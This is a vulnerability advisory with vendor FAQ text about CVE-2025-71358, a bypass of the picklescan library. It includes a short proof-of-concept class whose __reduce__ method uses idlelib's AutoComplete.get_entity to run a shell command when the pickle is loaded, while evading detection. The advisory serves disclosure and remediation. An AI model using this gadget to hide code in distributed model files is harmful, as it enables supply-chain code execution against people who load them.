CVE-2025-71358

Using idlelib.autocomplete.AutoComplete.get_entity, which is a built-in python library function to execute remote pickle file.

Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to idlelib.autocomplete.AutoComplete.get_entity function in reduce method
Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

PoC

class EvilIdlelibAutocompleteGetEntity:
    def __reduce__(self):
        from idlelib.autocomplete import AutoComplete
        return AutoComplete().get_entity, ("__import__('os').system('whoami')",)

Corresponding

https://github.com/FredericDT
https://github.com/Qhaoduoyu

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Kodem intelligence

1. What is CVE-2025-71358? CVE-2025-71358 is a medium-severity security vulnerability in picklescan (pip), affecting versions < 0.0.29. It is fixed in 0.0.29.
2. Which versions of picklescan are affected by CVE-2025-71358? picklescan (pip) versions < 0.0.29 is affected.
3. Is there a fix for CVE-2025-71358? Yes. CVE-2025-71358 is fixed in 0.0.29. Upgrade to this version or later.
4. Is CVE-2025-71358 exploitable, and should I be worried? Whether CVE-2025-71358 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2025-71358 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2025-71358? Upgrade picklescan to 0.0.29 or later.

Other vulnerabilities in picklescan